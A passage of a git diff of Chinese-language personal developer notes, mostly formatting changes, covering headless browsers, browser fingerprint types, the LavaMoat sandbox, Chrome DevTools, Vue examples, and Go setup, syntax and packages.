后台运行,并且仍然能够加载网页、执行 JavaScript 代码、与页面进行交互,就像普通浏览器一样。 + 2. 是 一个“看不见”的浏览器,可以在 命令行 或 代码 中控制它,而无需打开窗口。 + 3. Puppeteer 和 Playwright 是目前最流行的无头浏览器工具,功能强大且易于使用。 + +1. Puppeteer (基于 Chromium) + 1. https://pptr.dev + 2. 是 Google 开发的 Node.js 库,提供对无头 Chrome 或 Chromium 的高级控制。 2. Playwright (多浏览器支持) - 1. https://playwright.dev - 2. 是微软开发的一个自动化测试工具,支持 Chromium、Firefox 和 WebKit 的无头模式。 + 1. https://playwright.dev + 2. 是微软开发的一个自动化测试工具,支持 Chromium、Firefox 和 WebKit 的无头模式。 3. Selenium (多浏览器支持) - 1. https://www.selenium.dev - 2. 是一个广泛使用的自动化测试框架,支持无头模式运行 Chrome、Firefox 等浏览器。 + 1. https://www.selenium.dev + 2. 是一个广泛使用的自动化测试框架,支持无头模式运行 Chrome、Firefox 等浏览器。 4. Headless Chrome - 1. Chrome 浏览器本身支持无头模式,可以通过命令行或脚本启动。 `chrome --headless --disable-gpu --remote-debugging-port=9222` + 1. Chrome 浏览器本身支持无头模式,可以通过命令行或脚本启动。 `chrome --headless --disable-gpu --remote-debugging-port=9222` 5. Headless Firefox - 1. Firefox 也支持无头模式,适合在无界面环境中运行。 `firefox --headless` + 1. Firefox 也支持无头模式,适合在无界面环境中运行。 `firefox --headless` 6. Splash (基于 WebKit) - 1. https://splash.readthedocs.io - 2. 是一个基于 WebKit 的无头浏览器,主要用于网页抓取和 JavaScript 渲染。 + 1. https://splash.readthedocs.io + 2. 是一个基于 WebKit 的无头浏览器,主要用于网页抓取和 JavaScript 渲染。 7. HtmlUnit (Java 无头浏览器) - 1. http://htmlunit.sourceforge.net - 2. 是一个基于 Java 的无头浏览器,主要用于测试和网页抓取。 + 1. http://htmlunit.sourceforge.net + 2. 是一个基于 Java 的无头浏览器,主要用于测试和网页抓取。 8. Zombie.js (Node.js 无头浏览器) - 1. http://zombie.js.org - 2. 是一个轻量级的 Node.js 无头浏览器,适合快速测试和抓取。 + 1. http://zombie.js.org + 2. 是一个轻量级的 Node.js 无头浏览器,适合快速测试和抓取。 ## 浏览器指纹 + - 浏览器指纹 - - Canvas指纹 - - WebGL指纹 - - AudioContext指纹 - - UserAgent指纹 - - 语言偏好指纹 - - 字体指纹: 游览器可以通过特定的JS脚本列出用户设备上的所有字体。 - - 分辨率指纹 - - Client Rects指纹 - - Speech Voice指纹 - - 线程数和内存指纹 -- 浏览器指纹检测 - 1. https://fingerprintjs.github.io/fingerprintjs/ 对应源码 https://github.com/fingerprintjs/fingerprintjs - 2. https://browserleaks.com/ + - Canvas指纹 + - WebGL指纹 + - AudioContext指纹 + - UserAgent指纹 + - 语言偏好指纹 + - 字体指纹: 游览器可以通过特定的JS脚本列出用户设备上的所有字体。 + - 分辨率指纹 + - Client Rects指纹 + - Speech Voice指纹 + - 线程数和内存指纹 +- 浏览器指纹检测 + 1. https://fingerprintjs.github.io/fingerprintjs/ 对应源码 https://github.com/fingerprintjs/fingerprintjs + 2. https://browserleaks.com/ + 3. https://webcha.cn/ ## LavaMoat + - https://github.com/LavaMoat/LavaMoat 1. LavaMoat:一个沙箱工具,通过隔离依赖和限制权限保护应用。 - 1. 为项目中的每个依赖包创建一个独立的“沙箱环境”(称为 compartment),限制它们能访问的 API 和全局对象。 - 2. 通过静态分析依赖树的模块,LavaMoat 生成配置,明确每个包可以访问哪些资源。 -2. Scuttling Mode:LavaMoat 的增强功能,破坏全局对象(如 globalThis),防止恶意代码滥用。 + 1. 为项目中的每个依赖包创建一个独立的“沙箱环境”(称为 compartment),限制它们能访问的 API 和全局对象。 + 2. 通过静态分析依赖树的模块,LavaMoat 生成配置,明确每个包可以访问哪些资源。 +2. Scuttling Mode:LavaMoat 的增强功能,破坏全局对象(如 globalThis),防止恶意代码滥用。 - LavaMoat 机制触发的错误 - ```log - unknown error: Runtime.callFunctionOn threw exception: Error: LavaMoat - property "open" of globalThis is inaccessible under scuttling mode. - ``` + + ```log + unknown error: Runtime.callFunctionOn threw exception: Error: LavaMoat - property "open" of globalThis is inaccessible under scuttling mode. + ``` - Scuttling Mode 机制触发的错误 - ```log - Error: LavaMoat - property "Proxy" of globalThis is inaccessible under scuttling mode. - To learn more visit https://github.com/LavaMoat/LavaMoat/pull/360 - ``` \ No newline at end of file + + ```log + Error: LavaMoat - property "Proxy" of globalThis is inaccessible under scuttling mode. + To learn more visit https://github.com/LavaMoat/LavaMoat/pull/360 + ``` diff --git a/language/frontend/chrome.md b/language/frontend/chrome.md index b2a746b..6415c2d 100644 --- a/language/frontend/chrome.md +++ b/language/frontend/chrome.md @@ -1,45 +1,58 @@ +--- +created_date: 2022-06-07 +--- + +[TOC] # Chrome + - chrome内部所有链接 chrome://chrome-urls/ - 调试 chrome://net-internals/ - - 清除游览器dns - - ... + + - 清除游览器dns + - ... - webrtc调试 chrome://webrtc-internals/ - Chrome 自定义用户数据目录 - - 在指令后面添加 --user-data-dir=用户数据目录路径 - - 例如 `"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir=D:\APP\Chrome\1` + + - 在指令后面添加 --user-data-dir=用户数据目录路径 + - 例如 `"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir=D:\APP\Chrome\1` ## Chrome 快捷键 + 1. cmd + w 关闭当前标签页 2. cmd + shift + w 关闭当前浏览器 - # Chrome DevTool + - 参考 - - https://developers.google.com/web/tools/chrome-devtools/ - - https://www.cnblogs.com/vvjiang/p/12370112.html - - https://www.jianshu.com/p/24b93b13e5a9 + - https://developers.google.com/web/tools/chrome-devtools/ + - https://www.cnblogs.com/vvjiang/p/12370112.html + - https://www.jianshu.com/p/24b93b13e5a9 ## Network + - 浏览器根据html中外连资源出现的顺序,依次放入队列(Queue),然后根据优先级确定向服务器获取资源的顺序。同优先级的资源根据html中出现的先后顺序来向服务器获取资源 - 1. Time: 总共花费的时间 - 2. DOMContentLoaded: dom内容加载并解析完成的时间,此时间段页面白屏 - 3. Load:页面加载完成时间 + 1. Time: 总共花费的时间 + 2. DOMContentLoaded: dom内容加载并解析完成的时间,此时间段页面白屏 + 3. Load:页面加载完成时间 ### waterfall + - https://developers.google.com/web/tools/chrome-devtools/network/reference#timing-explanation - 关键指标 + 1. Queued at 页面加载过程中,加入到请求队列的起始时间 -2. Started at 请求加入到队列之后,开始处理的起始时间 +2. Started at 请求加入到队列之后,开始处理的起始时间 3. Queueing 请求排队的时间。 - 1. 有更高优先级的请求。 - 2. 浏览器与同一个域名建立的TCP连接数是有限制的,chrome设置的6个。已为该来源打开了六个TCP连接。仅适用于HTTP/1.0和HTTP/1.1。 - 3. 浏览器正在磁盘缓存中短暂分配空间 + + 1. 有更高优先级的请求。 + 2. 浏览器与同一个域名建立的TCP连接数是有限制的,chrome设置的6个。已为该来源打开了六个TCP连接。仅适用于HTTP/1.0和HTTP/1.1。 + 3. 浏览器正在磁盘缓存中短暂分配空间 4. Initial Connection 建立TCP连接的时间,包括TCP的三次握手和SSL的认证。 @@ -52,12 +65,12 @@ 8. Content Download 是浏览器用来下载资源所用的时间。这个指标越长, 说明资源越大. 理想情况下, 可以通过控制资源的大小来控制这段时间的长度。 ## Recorder + 1. Chrome 97 于 2022年1月4日 正式发布。 2. Chrome 97 引入了 Recorder 面板(用于录制用户操作流程)。 - - ## Console + ```js let element = 'div._affix_oe51y_42' document.querySelectorAll(element) @@ -77,6 +90,7 @@ $x(xpath)[0] // 遍历元素集合,输出内容 $x(xpath).forEach(div => console.log(div.textContent)); ``` + ```js let xpath1 = '//div[@class="_status_utrae_43"]'; $x(xpath1).forEach(div => { @@ -100,4 +114,4 @@ $x(xpath1).forEach(div => { } }); }); -``` \ No newline at end of file +``` diff --git a/language/frontend/frontend.md b/language/frontend/frontend.md index bd500b0..ff6d240 100644 --- a/language/frontend/frontend.md +++ b/language/frontend/frontend.md @@ -1,5 +1,13 @@ +--- +created_date: 2021-11-30 +--- + +[TOC] + ## html解析为可视化界面 + - 从顶部往下解析 + 1. 解析HTML,生成DOM树;解析CSS,生成CSSOM树 2. 将 DOM 树和 CSSOM 树结合,生成渲染树(Render Tree) 3. Layout(回流): 根据生成的渲染树,进行回流(Layout),得到节点的几何信息(位置,大小) @@ -7,7 +15,9 @@ 5. Display: 将像素发送给GPU,展示在页面上。(这一步其实还有很多内容,比如会在GPU将多个合成层合并为同一个层,并展示在页面中。而css3硬件加速的原理则是新建合成层) ## 前端 + ### Javascript + ```html @@ -26,16 +36,18 @@ ``` - ### Jquery + ```js $(selector).each(function(index,element)) ``` ### 事件驱动 + 1. web交互,通过事件监听 - 1. 将函数写在html的元素里。 - 2. onclick。 - 3. addEventListener(0 + + 1. 将函数写在html的元素里。 + 2. onclick。 + 3. addEventListener(0 2. 事件委托:解决事件监听过多会消耗内存和减慢加载速度速度的问题。 diff --git a/language/frontend/vue.md b/language/frontend/vue.md index 98bd7a4..dab9beb 100644 --- a/language/frontend/vue.md +++ b/language/frontend/vue.md @@ -1,13 +1,25 @@ +--- +created_date: 2022-02-04 +--- + +[TOC] + ## 相关链接 + 1. Vue官方文档 https://v3.cn.vuejs.org/ + 2. Vue源码 https://github.com/vuejs/core + 3. Vue在线编辑器 https://codepen.io/team/Vue/pen/KKpRVpx -1. uni-app官网 https://uniapp.dcloud.io/history -2. uni-app编译器 https://www.dcloud.io/hbuilderx.html +4. uni-app官网 https://uniapp.dcloud.io/history + +5. uni-app编译器 https://www.dcloud.io/hbuilderx.html ## Vue + ### 声明式地将数据渲染进 DOM 的系统 + ```html
Counter: {{ counter }} @@ -30,7 +42,9 @@ Vue.createApp(Counter).mount('#counter') ``` + ### 通过以 v- 开头的attribute提供特殊的功能 + ```html
@@ -55,6 +69,7 @@ ``` ### 通过 v-on 指令,添加一个事件监听器 + ```html

{{ message }}

@@ -85,8 +100,8 @@ ``` - ### 通过 v-model 指令,实现表单输入和应用状态之间的双向绑定 + ```html

{{ message }}

@@ -109,6 +124,7 @@ ``` ### 通过 v-if 指令,实现条件 + ```html
现在你看到我了 @@ -130,6 +146,7 @@ ``` ### 通过 v-for 指令,实现循环 + ```html
    @@ -159,6 +176,7 @@ ``` ### 组件化应用构建一 + ```html
      @@ -187,6 +205,7 @@ ``` ### 组件化应用构建二 + ```html
        @@ -230,4 +249,4 @@ app.mount('#todo-list-app') -``` \ No newline at end of file +``` diff --git a/language/frontend/webrtc.md b/language/frontend/webrtc.md index 40805eb..b637681 100644 --- a/language/frontend/webrtc.md +++ b/language/frontend/webrtc.md @@ -1,7 +1,14 @@ +--- +created_date: 2021-12-15 +--- + +[TOC] + ## 链接 + - WebRTC演示网站 https://appr.tc/ -- 源码 https://github.com/webrtc -- 第三方教程 http://www.vue5.com/webrtc/webrtc.html +- 源码 https://github.com/webrtc +- 第三方教程 http://www.vue5.com/webrtc/webrtc.html - 官网 - - https://webrtc.org/ - - https://webrtc.org.cn/ \ No newline at end of file + - https://webrtc.org/ + - https://webrtc.org.cn/ diff --git a/language/golang/RELEASE.md b/language/golang/RELEASE.md index f528384..53e2ce2 100644 --- a/language/golang/RELEASE.md +++ b/language/golang/RELEASE.md @@ -1,25 +1,32 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## Go + - 官网 https://golang.org/ 1. 起源:Google工程师20%时间的产物 2. 定位:系统开发语言。 -4. 特点:静态强类型、编译型、并发型,并具有垃圾回收功能的编程语言。 +3. 特点:静态强类型、编译型、并发型,并具有垃圾回收功能的编程语言。 - 时间线 + 1. 2007年:雏形设计。 2. 2009年11月:正式宣布推出,成为开放源代码项目。 3. 2012年3月:Go1.0 第一个稳定版。 4. 2015年8月:Go1.5 Go语言的运行时和工具链全部从C语言改用Go语言实现. 5. 2018年8月:Go.1.11 启用了module模块概念。 - - Algol - - CPL - - BCPL - - B - - C - - C++ - - Java - - C# - - Algol W - - Pascal \ No newline at end of file + - CPL + - BCPL + - B + - C + - C++ + - Java + - C# + - Algol W + - Pascal diff --git a/language/golang/go-dev.md b/language/golang/go-dev.md index 4654661..6c05335 100644 --- a/language/golang/go-dev.md +++ b/language/golang/go-dev.md @@ -1,22 +1,35 @@ +--- +created_date: 2020-11-21 +--- + +[TOC] + ## Go插件 + 1. 代码质量检查 - ```bash - golint .\main.go - ``` + + ```bash + golint .\main.go + ``` 2. 代码提示 - - 参考 https://mp.weixin.qq.com/s?__biz=MzAxNzY0NDE3NA==&mid=2247484866&idx=1&sn=6872f1d6dc1064a39a7772166bea7790&chksm=9be32a23ac94a3350b1d2a721469371fc4d7d162c667feb9344b7a9531d86e1d139769a72a2a&scene=27#wechat_redirect - - gopls 2021年 + + - 参考 https://mp.weixin.qq.com/s?\_\_biz=MzAxNzY0NDE3NA==&mid=2247484866&idx=1&sn=6872f1d6dc1064a39a7772166bea7790&chksm=9be32a23ac94a3350b1d2a721469371fc4d7d162c667feb9344b7a9531d86e1d139769a72a2a&scene=27#wechat_redirect + - gopls 2021年 3. 文档 godoc - ```bash - # godoc - go get -v -u golang.org/x/tools/cmd/godo - # 生成本地文档服务器 - godoc -http=:6060 - ``` + + ```bash + # godoc + go get -v -u golang.org/x/tools/cmd/godo + # 生成本地文档服务器 + godoc -http=:6060 + ``` + ## CLI操作 + ### go编译 + ```bash # 1. 编译当前目录并输出指定可执行文件 go build -o 输出指定文件 @@ -42,7 +55,9 @@ go generate ``` ### gofmt + - 官方提供的代码格式化工具 + ```bash # -w 直接将结果输出到源文件 # -l 列出被格式化的文件 @@ -56,7 +71,8 @@ gofmt -l -w ./ ``` ### 其它 + ```bash # 删除mod下载下来的文件 go clean -modcache -``` \ No newline at end of file +``` diff --git a/language/golang/go-env.md b/language/golang/go-env.md index 197a0e8..f080063 100644 --- a/language/golang/go-env.md +++ b/language/golang/go-env.md @@ -1,8 +1,16 @@ +--- +created_date: 2020-11-19 +--- + +[TOC] + ## Go安装 + - https://golang.org/dl - https://golang.google.cn/dl/ ### linux安装 + ```bash cd /opt wget https://go.dev/dl/go1.23.4.linux-386.tar.gz @@ -22,26 +30,28 @@ go version ``` - GOROOT - - 是 Go 的安装目录,存放 Go 的编译器、工具链和标准库。 - - 确保 GOROOT 指向你安装的 Go 版本的路径,特别是如果你可能在同一机器上使用多个 Go 版本。 + - 是 Go 的安装目录,存放 Go 的编译器、工具链和标准库。 + - 确保 GOROOT 指向你安装的 Go 版本的路径,特别是如果你可能在同一机器上使用多个 Go 版本。 - GOPATH - - Go 的工作区路径,存储开发项目和依赖包。 - - Go 1.16 或更高版本时,GOPATH 可以选择不设置,因为 Go Module 模式下,项目目录可以独立于 GOPATH。 + - Go 的工作区路径,存储开发项目和依赖包。 + - Go 1.16 或更高版本时,GOPATH 可以选择不设置,因为 Go Module 模式下,项目目录可以独立于 GOPATH。 - PATH,添加 Go 的二进制文件路径: - - /usr/local/go/bin:Go 编译器和工具链的可执行文件路径。 - - /usr/local/go/gopath/bin:Go 项目中安装的依赖包的可执行文件路径。 + - /usr/local/go/bin:Go 编译器和工具链的可执行文件路径。 + - /usr/local/go/gopath/bin:Go 项目中安装的依赖包的可执行文件路径。 - GO111MODULE - - Go 1.14 及以后的版本默认开启了 Go Module 模式。 - - auto:在有 go.mod 文件时启用模块模式,否则禁用。 + - Go 1.14 及以后的版本默认开启了 Go Module 模式。 + - auto:在有 go.mod 文件时启用模块模式,否则禁用。 - GO15VENDOREXPERIMENT - - 允许在项目中使用 vendor 文件夹存储依赖包。 - - 对于 Go 1.5 和 1.6 有意义,但在 Go 1.7+ 后默认启用。 + - 允许在项目中使用 vendor 文件夹存储依赖包。 + - 对于 Go 1.5 和 1.6 有意义,但在 Go 1.7+ 后默认启用。 ### windows安装 -默认安装目录 C:\Go -默认go path目录 C:\Users\Administrator\go + +默认安装目录 C:\\Go +默认go path目录 C:\\Users\\Administrator\\go ### mac安装 + ```bash brew install go @@ -49,26 +59,33 @@ echo 'export GOPATH=/Users/gary/go export GOBIN=$GOPATH/bin export PATH=$PATH:$GOBIN' >> ~/.zshrc ``` + source ~/.zshrc + ### 基于vscode的开发环境 + - https://blog.csdn.net/snans/article/details/106939925 + 1. 安装插件Go -ctrl+shift+x 打开插件扩展列表 -下载go插件 + ctrl+shift+x 打开插件扩展列表 + 下载go插件 2. 配置代理 + - https://goproxy.io/zh/docs/getting-started.html - 1. windows环境变量 GOPROXY=https://goproxy.io + 1. windows环境变量 GOPROXY=https://goproxy.io 3. 下载go tools -ctrl+shift+p 打开命令面板 -搜索 Go:install/update Tools, 点击全选ok + ctrl+shift+p 打开命令面板 + 搜索 Go:install/update Tools, 点击全选ok 4. 重启vscode ## Go指令 + - 临时环境变量 - Go version >= 1.13,直接用go env -w 设置 + ```bash go env -w GOPROXY=https://goproxy.io,direct # 或 go env -w GOPROXY=https://goproxy.cn go env -w GO111MODULE=on @@ -83,4 +100,4 @@ go env -w GOPROXY=direct # 查看 GOPROXY 变量 go env | grep GOPROXY go env | findstr GOPROXY # Windows环境 -``` \ No newline at end of file +``` diff --git a/language/golang/go-feature.md b/language/golang/go-feature.md index b954979..62255d5 100644 --- a/language/golang/go-feature.md +++ b/language/golang/go-feature.md @@ -1,32 +1,42 @@ -- 参考 - - https://zhuanlan.zhihu.com/p/49049392 +--- +created_date: 2020-11-16 +--- + +[TOC] + +- 参考 + - https://zhuanlan.zhihu.com/p/49049392 # Go + - 将并发机制纳入Go的关键字 - 编译为二进制但又带有垃圾回收机制和运行时反射能力 ## 特性1 + 1. 自动垃圾回收 2. 函数多返回值 3. 异常处理 -传统OOP使用try()catch{}模块捕获异常,Go引入三个关键字defer、panic和recover + 传统OOP使用try()catch{}模块捕获异常,Go引入三个关键字defer、panic和recover -3. 匿名函数和闭包 +4. 匿名函数和闭包 -4. 类型和接口 +5. 类型和接口 -5. 高并发 +6. 高并发 -6. 支持反射 +7. 支持反射 -7. 语言交互性 -重用了大部分的C模块,Cgo允许开发者混合编写C语言代码 -import "C" +8. 语言交互性 + 重用了大部分的C模块,Cgo允许开发者混合编写C语言代码 + import "C" ## 特性2 -1. Go语言追求显式的表达,避免隐含。 - 1. 禁止参数默认值 -2. 强类型语言 \ No newline at end of file +1. Go语言追求显式的表达,避免隐含。 + + 1. 禁止参数默认值 + +2. 强类型语言 diff --git a/language/golang/go-gramma.md b/language/golang/go-gramma.md index 2433697..58f4341 100644 --- a/language/golang/go-gramma.md +++ b/language/golang/go-gramma.md @@ -1,25 +1,36 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] ## 数据类型 + ### 声明与赋值 + - 变量的声明与赋值。 - ```go - var var_name string = "gary" - var var_name1,var_name2 string = "gary1","gary2" - // 多个不同类型变量的声明 - var ( - var_name2 string - var_name2 int - ) - // 函数内可简写为。 - func test(){ - var_name := "gary" // 一种动态声明方式,左侧的变量不能是已经被声明过的,否则会导致编译错误,此方式只能在函数体中出现。 - } - ``` + ```go + var var_name string = "gary" + var var_name1,var_name2 string = "gary1","gary2" + // 多个不同类型变量的声明 + var ( + var_name2 string + var_name2 int + ) + // 函数内可简写为。 + func test(){ + var_name := "gary" // 一种动态声明方式,左侧的变量不能是已经被声明过的,否则会导致编译错误,此方式只能在函数体中出现。 + } + ``` + ### 基本类型 + 1. 基本类型 + - 布尔型、数字类型、字符串类型、数组 2. 数组 + ```go // 声明 var var_arr_name1 [var_size] var_type @@ -27,7 +38,8 @@ var var_arr_name2 = [5]float32{10.0, 50.0} ``` -3. 常量 +3. 常量 + ```go // 常量的值必须是编译运行前确定的 // 常量中的数据类型只可以是布尔型、数字型(整数型、浮点型和复数)和字符串型 @@ -45,18 +57,22 @@ ``` ### 引用类型 + - 引用类型 - - 切片、字典(map)、通道(channel)、接口(interface) + + - 切片、字典(map)、通道(channel)、接口(interface) - 指针类型 - ```go - num1_var := 255 - var num2_var *int = &num1_var - fmt.Printf("Type of num2_var is %T\n", num2_var) - fmt.Println("Address of num2_var is", num2_var) - ``` - + + ```go + num1_var := 255 + var num2_var *int = &num1_var + fmt.Printf("Type of num2_var is %T\n", num2_var) + fmt.Println("Address of num2_var is", num2_var) + ``` + 1. 切片:动态数组 + ```go // 声明与初始化切片 var var_slice_name []var_type = make([]var_type, var_length, var_capacity) @@ -70,6 +86,7 @@ ``` 2. 无序集合map + ```go /* 声明变量,默认 map = nil */ var var_map_name map[key_type]value_type @@ -87,6 +104,7 @@ ### type关键字 1. 结构体 struct + ```go // 定义结构体 type Struct_var_type struct { @@ -105,6 +123,7 @@ ``` 2. 接口 interface + ```go type interface_name interface { method_name1(slice []string) string @@ -119,11 +138,15 @@ ``` 3. 函数类型 + - 声明 + ```go type func_name func(name string) string ``` + - 示范 + ```go //定义函数类型 Doing type Doing func(thing string) string @@ -144,18 +167,24 @@ fmt.Println(result) } ``` + 4. 根据已有数据类型,定义新类型 + ```go type typename string func (n typename) len() int { return len(n) } ``` + ### 通道 + 1. 通道 channel - 传递数据的一钟数据结构。 + - 可用于两个 goroutine 之间通过传递一个指定类型的值来同步运行和通讯。 - - 操作符 <- 用于指定通道的方向,发送或接收。如果未指定方向,则为双向通道。 + + - 操作符 \<- 用于指定通道的方向,发送或接收。如果未指定方向,则为双向通道。 - 通道的创建 ```go @@ -163,22 +192,28 @@ ch := make(chan int) // 创建int类型的通道并设置缓冲区 ch := make(chan int, 100) - ``` + ``` ## 语法特性 + ### 基本特性 + 1. 在函数内,变量声明而不使用,编译时则会报错。 2. 结构体变量名:大写表示外部可以访问。 3. 支持类型转换 + ```go var1_name := 22 var2_name := float32(var1_name) fmt.Printf("Type of var2_name is %T\n", var2_name) ``` + ### 函数 + 1. 关于函数的大括号 + ```go func main() { // 错误,{ 不能在单独的行上 @@ -187,6 +222,7 @@ func main() ``` 2. 函数可以直接返回多个值 + ```go func swap(x, y string) (string, string) { return y, x @@ -194,13 +230,17 @@ func swap(x, y string) (string, string) { ``` 3. 匿名函数 + ```go func(){ fmt.Println("hello") } ``` + ### 接口 + - 在golang里,接口内函数的实现不需要关键字,是被隐式实现的 + ```go type Mammal interface { Say() @@ -217,14 +257,17 @@ func(){ ``` ### 循环 + 1. 循环 只有for循坏:break,continue,goto 2. for 循环不需要() + ```go for i := 0; i < 10; i++{} ``` 3. 循环数组、切片、map,返回元素的索引和索引对应的值。 + ```go for k, v := range kvs{ if v == 1 {continue} // 跳过当前循环的剩余语句,然后继续进行下一轮循环 @@ -234,7 +277,9 @@ MyBreak: fmt.Println("my break") ``` ### 条件语句 + 1. if + ```go func judge(num int) int { if num > 100 { @@ -245,8 +290,10 @@ func judge(num int) int { return -1 } } -``` -2. switch +``` + +2. switch + ```go func main() { // 使用方式一 @@ -280,8 +327,8 @@ func main() { ``` ### 并发 + 1. Go 并发,通过go关键字开启一个 goroutine 协程 ```go go function_name ( var_value ) ``` - diff --git a/language/golang/go-package-3.md b/language/golang/go-package-3.md index 7503236..7e2ae8d 100644 --- a/language/golang/go-package-3.md +++ b/language/golang/go-package-3.md @@ -1,36 +1,51 @@ +--- +created_date: 2021-08-12 +--- + +[TOC] + # 非内置包 -1. 读取配置与热加载 github.com/spf13/viper github.com/fsnotify/fsnotify -2. 数据库ORM github.com/jinzhu/gorm github.com/go-sql-driver/mysql gorm.io/gorm(v2 要求go1.14版本) + +1. 读取配置与热加载 github.com/spf13/viper github.com/fsnotify/fsnotify +2. 数据库ORM github.com/jinzhu/gorm github.com/go-sql-driver/mysql gorm.io/gorm(v2 要求go1.14版本) 3. ldap认证 github.com/go-ldap/ldap/v3 学习文档https://godoc.org/gopkg.in/ldap.v3 4. web框架 github.com/gin-gonic/gin 5. Token github.com/dgrijalva/jwt-go -6. 文档 github.com/swaggo/gin-swagger github.com/swaggo/files github.com/swaggo/swag(生成doc) +6. 文档 github.com/swaggo/gin-swagger github.com/swaggo/files github.com/swaggo/swag(生成doc) 7. 日志 github.com/sirupsen/logrus 8. 命令行程序 https://github.com/spf13/cobra 9. 热重启(修改完代码后保存,就能自动重启运行) github.com/cosmtrek/air ## ORM包 + ### gorm + - 关联查询 -db.Model(&user).Association("company").Find(&company) + db.Model(&user).Association("company").Find(&company) - 预加载 -https://gorm.io/zh_CN/docs/preload.html + https://gorm.io/zh_CN/docs/preload.html + 2. db.Preload 使用了子查询加载关联数据。 3. db.Joins 使用 inner join 加载关联数据。 -3. 预加载全部 db.Preload(clause.Associations).Find(&users) 或者开启自动预加载 db.Set("gorm:auto_preload", true).Find(&users) +4. 预加载全部 db.Preload(clause.Associations).Find(&users) 或者开启自动预加载 db.Set("gorm:auto_preload", true).Find(&users) - 软删除硬删除 + 1. 查找所有包含deleted的 model.DB.Unscoped().Find(&api) 2. 删除所有的包含deleted的 model.DB.Unscoped().Delete(&API{}) -## 生成接口文档的包 +## 生成接口文档的包 + - swagger + ### go-swagger + 1. 功能 - - 文档即注解 - - 文档即测试 + - 文档即注解 + - 文档即测试 2. windows下简单安装 + ```bash # https://github.com/go-swagger/go-swagger/blob/master/docs/install.md go clone github.com/go-swagger/go-swagger @@ -46,17 +61,22 @@ swagger generate server -f ./swagger.json swagger serve -F=swagger ./swagger.yaml (文档格式必须是yaml) swagger serve ./swagger.yaml ``` + ### go集成gin+swagger自动生成文档 + - 参考 https://github.com/swaggo/gin-swagger + 1. swag 用于生成 docs 文件夹(swagger文档程序使用) - go get github.com/swaggo/swag/cmd/swag - swag init + go get github.com/swaggo/swag/cmd/swag + swag init 2. 集成进go代码里 - 1. 下载 gin-swagger - go get github.com/swaggo/gin-swagger - go get github.com/swaggo/files - 2. 示范 + + 1. 下载 gin-swagger + go get github.com/swaggo/gin-swagger + go get github.com/swaggo/files + 2. 示范 + ```go package main @@ -96,8 +116,11 @@ func sayHello(c *gin.Context) { ``` ## 命令行程序 + cobra + - https://github.com/spf13/cobra + ```go package main @@ -155,6 +178,7 @@ a count and a string.`, } ``` + ```bash go run . echo "hello" go run . echo times -t=3 "hello" diff --git a/language/golang/go-package-k8s.md b/language/golang/go-package-k8s.md index 19f9e20..c66bd81 100644 --- a/language/golang/go-package-k8s.md +++ b/language/golang/go-package-k8s.md @@ -1,26 +1,38 @@ +--- +created_date: 2020-12-17 +--- + +[TOC] + ## k8s.io/apimachinery/pkg/api/resource -1. 文档 -https://godoc.org/k8s.io/apimachinery/pkg/api/resource#pkg-index -2. type Quantity -https://physics.nist.gov/cuu/Units/binary.html +1. 文档 + https://godoc.org/k8s.io/apimachinery/pkg/api/resource#pkg-index +2. type Quantity + https://physics.nist.gov/cuu/Units/binary.html ## 代码生成器 -- 参考 - 1. https://zhuanlan.zhihu.com/p/99148110 - 2. https://tangxusc.github.io/2019/05/code-generator%E4%BD%BF%E7%94%A8/ - 3. https://www.openshift.com/blog/kubernetes-deep-dive-code-generation-customresources -1. conversion-gen - - https://github.com/kubernetes/code-generator - - 用于自动生成在内部和外部类型之间转换的函数的工具。 + +- 参考 + 1. https://zhuanlan.zhihu.com/p/99148110 + 2. https://tangxusc.github.io/2019/05/code-generator%E4%BD%BF%E7%94%A8/ + 3. https://www.openshift.com/blog/kubernetes-deep-dive-code-generation-customresources + +1. conversion-gen + + - https://github.com/kubernetes/code-generator + - 用于自动生成在内部和外部类型之间转换的函数的工具。 + 2. deepcopy-gen - - https://godoc.org/k8s.io/gengo/examples/deepcopy-gen + + - https://godoc.org/k8s.io/gengo/examples/deepcopy-gen 3. defaulter-gen ## client-go -- client-go有四类客户端 - RestClient、ClientSet、DynamicClient、DiscoveryClient。 - RestClient是最基础的客户端,它对Http进行了封装,支持JSON和protobuf格式数据。 - 其它三类客户端都是通过在REStClient基础上再次封装而得来。 \ No newline at end of file + +- client-go有四类客户端 + RestClient、ClientSet、DynamicClient、DiscoveryClient。 + RestClient是最基础的客户端,它对Http进行了封装,支持JSON和protobuf格式数据。 + 其它三类客户端都是通过在REStClient基础上再次封装而得来。 diff --git a/language/golang/go-package.md b/language/golang/go-package.md index 00c0139..0a22a99 100644 --- a/language/golang/go-package.md +++ b/language/golang/go-package.md @@ -1,17 +1,28 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # 包 Package + ## 包管理 go.mod + - 参考 https://blog.csdn.net/weixin_39003229/article/details/97638573 - go.mod 是Golang1.11版本新引入的官方包管理工具, 用于解决之前没有地方记录依赖包具体版本的问题。 - 1. GO111MODULE=off,go命令行将不会支持module功能,寻找依赖包的方式将会沿用旧版本那种通过vendor目录或者GOPATH模式来查找。 - 2. GO111MODULE=on,go命令行会使用modules,而一点也不会去GOPATH目录下查找。 - 3. GO111MODULE=auto,默认值,go命令行将会根据当前目录来决定是否启用module功能。 + + 1. GO111MODULE=off,go命令行将不会支持module功能,寻找依赖包的方式将会沿用旧版本那种通过vendor目录或者GOPATH模式来查找。 + 2. GO111MODULE=on,go命令行会使用modules,而一点也不会去GOPATH目录下查找。 + 3. GO111MODULE=auto,默认值,go命令行将会根据当前目录来决定是否启用module功能。 - 依赖的第三方包存储位置 - - go.mod $GOPATH/pkg/mod/ - - 传统的 $GOPATH/src + + - go.mod $GOPATH/pkg/mod/ + - 传统的 $GOPATH/src - go mod 指令 + ```bash # 初始化modules go mod init 自定义项目名 @@ -31,10 +42,10 @@ go mod why go mod edit -replace example.com/greetings=../greetings ``` - - ## 依赖包的import方式 + - https://blog.csdn.net/stpeace/article/details/82901633 + ```go import "fmt" @@ -44,16 +55,21 @@ import F "fmt" // 设置fmt包的别名为F ``` ## 内置包 + 1. fmt - ```go - fmt.Printf("%+v\n", anyType) - ``` + + ```go + fmt.Printf("%+v\n", anyType) + ``` 2. errors - ```go - errors.New("defined error") - ``` + + ```go + errors.New("defined error") + ``` + 3. log + ```go log.SetPrefix("main: ") // log.SetFlags(0) @@ -61,38 +77,39 @@ import F "fmt" // 设置fmt包的别名为F ``` 4. time - ```go 